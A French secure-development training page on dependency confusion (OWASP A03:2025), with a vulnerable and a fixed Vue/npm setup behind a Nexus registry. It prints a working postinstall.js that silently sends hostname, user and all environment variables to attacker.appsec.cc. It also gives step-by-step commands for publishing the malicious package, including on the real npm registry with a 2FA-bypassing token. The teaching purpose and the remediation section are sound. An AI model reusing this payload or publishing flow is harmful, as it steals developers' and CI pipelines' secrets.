AppSec|Formation Développement Sécurisé
← Retour aux cas
03
A03:2025

Software Supply Chain Failures

Java 17 · Spring Boot · Vue 3 · npm

Dépendance npm avec script postinstall malveillant. Désérialisation polymorphique Jackson activée.

Cas n°3 — A03:2025 Software Supply Chain Failures

Référence OWASP

Catégorie A03:2025 - Software Supply Chain Failures
Stack Node.js 20, npm, Vue 3 (Vite), Nexus OSS 3
Lancement npm install (dans vulnerable/ ou secure/)

Dependency confusion, 2021

Alex Birsan

https://www.landh.tech/blog/20250610-netflix-vulnerability-dependency-confusion

démos vidéo

Etape Démo
Application vulnérable, déploiement Sans objet
@catamania/ui-components@1.0.1 sur npmjs.com : package malveillant 03_vulnerable_020_demo.mp4
@catamania/ui-components@1.0.0 sur sur npm-internal : package d'entreprise légitime. Pas de package présent sur npm-proxy 03_vulnerable_021_demo.mp4
Le npm install sur le poste de dév exfiltre les variables d'environnements sur le listener @ attacker.appsec.cc 03_vulnerable_022_demo.mp4
Le package malveillant a été récupéré sur le repo npm-proxy 03_vulnerable_023_demo.mp4
La modification dans .npmrc corrige le problème 03_secure_01_demo.mp4

Scénario métier

Application Vue 3 minimaliste — une page d'accueil affichant un composant bouton issu d'une librairie interne @catamania/ui-components. Cette librairie est hébergée sur le registry npm privé de l'entreprise (Nexus OSS).

L'attaque exploite la dependency confusion : l'attaquant publie une version supérieure du même package sur un registry public. Le registry de groupe Nexus, mal configuré, résout le public avant l'interne et installe silencieusement la version malveillante lors du npm install.


La vulnérabilité — Dependency Confusion

Principe

  1. L'entreprise publie @catamania/ui-components@1.0.0 sur son Nexus interne (npm-internal).
  2. L'attaquant publie @catamania/ui-components@1.0.1 sur un registry public (npm-public-sim ou npmjs.org).
  3. Le registry de groupe Nexus (npm-group-vuln) est configuré avec public avant interne.
  4. npm reçoit la version 1.0.1 — la plus récente — sans avertissement.
  5. Le postinstall de la version malveillante s'exécute silencieusement pendant le npm install.

Cet exploit a été documenté par Alex Birsan en 2021 et a affecté Apple, Microsoft, Tesla et d'autres grandes entreprises.

Configuration vulnérable — vulnerable/.npmrc

registry=https://nexus.appsec.cc/repository/npm-group-vuln/

Le groupe npm-group-vuln résout npm-public-sim en premier → la version 1.0.1 malveillante gagne la résolution semver.

Payload — packages/malicious/ui-components/postinstall.js

const https = require('https');
const os = require('os');

const payload = JSON.stringify({
  hostname: os.hostname(),
  username: os.userInfo().username,
  cwd: process.cwd(),
  env: process.env   // Variables d'environnement : tokens, clés API, secrets CI/CD...
});

const req = https.request({
  hostname: 'attacker.appsec.cc',
  port: 9999,
  path: '/exfiltrate',
  method: 'POST',
  headers: { 'Content-Type': 'application/json', 'Content-Length': Buffer.byteLength(payload) }
}, () => {});
req.on('error', () => {});  // Silencieux en cas d'échec
req.write(payload);
req.end();

Le script utilise uniquement des modules Node.js built-in — aucune dépendance externe, aucune alerte npm audit.


Exploitation — Scénario pas-à-pas

Prérequis — Infrastructure

Nexus doit être opérationnel sur https://nexus.appsec.cc :

cd ansible
ansible-playbook -i inventory.ini playbook.yml --tags nexus --become

Étape 1 — Vérifier le listener d'exfiltration

Le listener est déployé et démarré automatiquement par le playbook Ansible en tant que service systemd (appsec-03-listener).

Script déployé sur le serveur : /opt/assuria/src/03-supply-chain-failures/exploit/01-start-listener.py

Vérifier qu'il tourne et afficher les logs en temps réel :

ssh root@attacker.appsec.cc
systemctl status appsec-03-listener
journalctl -u appsec-03-listener -f

Laisser journalctl -f ouvert dans ce terminal — les données exfiltrées apparaîtront ici dès le npm install.

Étape 2 — Publier les packages

Variante A — Simulation locale (Nexus)

bash exploit/02-publish-packages.sh

Ce script :

  1. Écrit les credentials publisher:publisher123 en base64 dans ~/.npmrc
  2. Publie packages/legitimate/ui-components (v1.0.0) sur npm-internal
  3. Publie packages/malicious/ui-components (v1.0.1) sur npm-public-sim

Vérification :

# npm-internal → doit afficher "latest": "1.0.0"
curl -s https://nexus.appsec.cc/repository/npm-internal/@catamania%2fui-components | python3 -m json.tool | grep '"latest"'

# npm-public-sim → doit afficher "latest": "1.0.1"
curl -s https://nexus.appsec.cc/repository/npm-public-sim/@catamania%2fui-components | python3 -m json.tool | grep '"latest"'

Variante B — Attaque réelle (npmjs.org)

L'organisation @catamania sur npmjs.com appartient au compte a.vergnaud.

1. Publier v1.0.0 légitime sur Nexus npm-internal

# Écrire les credentials publisher dans ~/.npmrc
AUTH=$(echo -n "publisher:publisher123" | base64 -w0)
npm config set "//nexus.appsec.cc/repository/npm-internal/:_auth" "$AUTH"
npm config set "//nexus.appsec.cc/repository/npm-internal/:email" "publisher@assuria.fr"

# Publier
cd packages/legitimate/ui-components
npm publish --registry https://nexus.appsec.cc/repository/npm-internal/

Vérification :

curl -s https://nexus.appsec.cc/repository/npm-internal/@catamania%2fui-components | python3 -m json.tool | grep '"latest"'
# → "latest": "1.0.0"

2. Générer un token npm

https://www.npmjs.com/settings/avergnaud/tokens

Sur https://www.npmjs.com/settings/~a.vergnaud/tokens — choisir Automation token (bypass 2FA, adapté aux scripts).

3. Configurer le token localement

Écrire directement dans ~/.npmrc (la commande npm config set peut ne pas persister correctement sous WSL) :

echo "//registry.npmjs.org/:_authToken=<NPM_TOKEN>" >> ~/.npmrc

Vérifier :

cat ~/.npmrc | grep registry.npmjs.org
# → //registry.npmjs.org/:_authToken=npm_xxx...

4. Publier le package malveillant

cd packages/malicious/ui-components
# --access public est obligatoire pour les packages scopés sur un registry public
npm publish --access public --registry https://registry.npmjs.org

5. Vérifier

npm view @catamania/ui-components --registry https://registry.npmjs.org
# → version: 1.0.1

6. Nettoyer après la démo

npm unpublish @catamania/ui-components@1.0.1 --registry https://registry.npmjs.org

npm autorise la dépublication dans les 72 heures suivant la publication.

Dans ce cas, npm-group-vuln doit contenir un proxy vers https://registry.npmjs.org à la place du hosted npm-public-sim.

Étape 3 — Déclencher l'attaque

cd vulnerable
npm install

Observer dans le terminal du listener :

[!] EXFILTRATED DATA RECEIVED
  Hostname : <machine>
  User     : <user>
  CWD      : <chemin absolu>/vulnerable
  Env vars : { "PATH": "...", "HOME": "...", "NODE_ENV": "...", ... }

L'exfiltration se produit silencieusement pendant le npm install, avant même que l'application ne soit lancée.

Confirmer la version installée :

cat node_modules/@catamania/ui-components/package.json | grep version
# → "version": "1.0.1"  ← version malveillante

Correctif — Version sécurisée (secure/)

1. Épingler les scopes internes dans .npmrc

Avant — vulnerable/.npmrc :

registry=https://nexus.appsec.cc/repository/npm-group-vuln/

Après — secure/.npmrc :

@catamania:registry=https://nexus.appsec.cc/repository/npm-internal/
registry=https://nexus.appsec.cc/repository/npm-group-secure/

Les packages @catamania/* sont résolus exclusivement depuis npm-internal, quelle que soit la version disponible sur le public.

2. Prioriser l'interne dans le groupe Nexus

Dans Nexus, l'ordre des membres du groupe détermine la priorité de résolution :

Groupe Ordre Résultat
npm-group-vuln [npm-public-sim, npm-internal] Public résolu en premier → v1.0.1 malveillante
npm-group-secure [npm-internal, npm-public-sim] Interne résolu en premier → v1.0.0 légitime

3. Vérifier l'intégrité via package-lock.json

# Générer le lock avec la version légitime, puis committer
npm install
git add package-lock.json

# En CI : utiliser npm ci plutôt que npm install
npm ci  # Rejette toute divergence avec le lock, vérifie les hashes SHA-512

4. Désactiver les scripts de post-install

npm install --ignore-scripts

Ou dans .npmrc :

ignore-scripts=true

Certains packages légitimes nécessitent leurs scripts de post-install (ex. : binaires natifs compilés). Évaluer au cas par cas.

Vérification avec la version sécurisée :

cd secure
npm ci
# Aucune donnée reçue dans le listener

cat node_modules/@catamania/ui-components/package.json | grep version
# → "version": "1.0.0"  ← version légitime

Comparaison des résultats

Version vulnérable Version sécurisée
Version installée 1.0.1 (malveillante) 1.0.0 (légitime)
Données exfiltrées Oui — hostname, user, env vars Non
Registry utilisé npm-group-vuln (public en premier) npm-internal (scope épinglé)
postinstall exécuté Oui Non (version 1.0.0 sans postinstall)
Commande recommandée npm install npm ci

Principes de sécurité appliqués

  1. Épinglage de scope — forcer la résolution des packages internes sur le registry privé, jamais sur le public
  2. Principe du moindre privilège — le registry de groupe ne doit exposer le public qu'en fallback, jamais en priorité
  3. Intégrité des dépendances — committer package-lock.json et utiliser npm ci en CI pour vérifier les hashes SHA-512
  4. Réduction de la surface d'attaque — désactiver les scripts de post-install pour les dépendances non auditées
  5. Audit continu — intégrer npm audit dans le pipeline CI pour détecter les CVE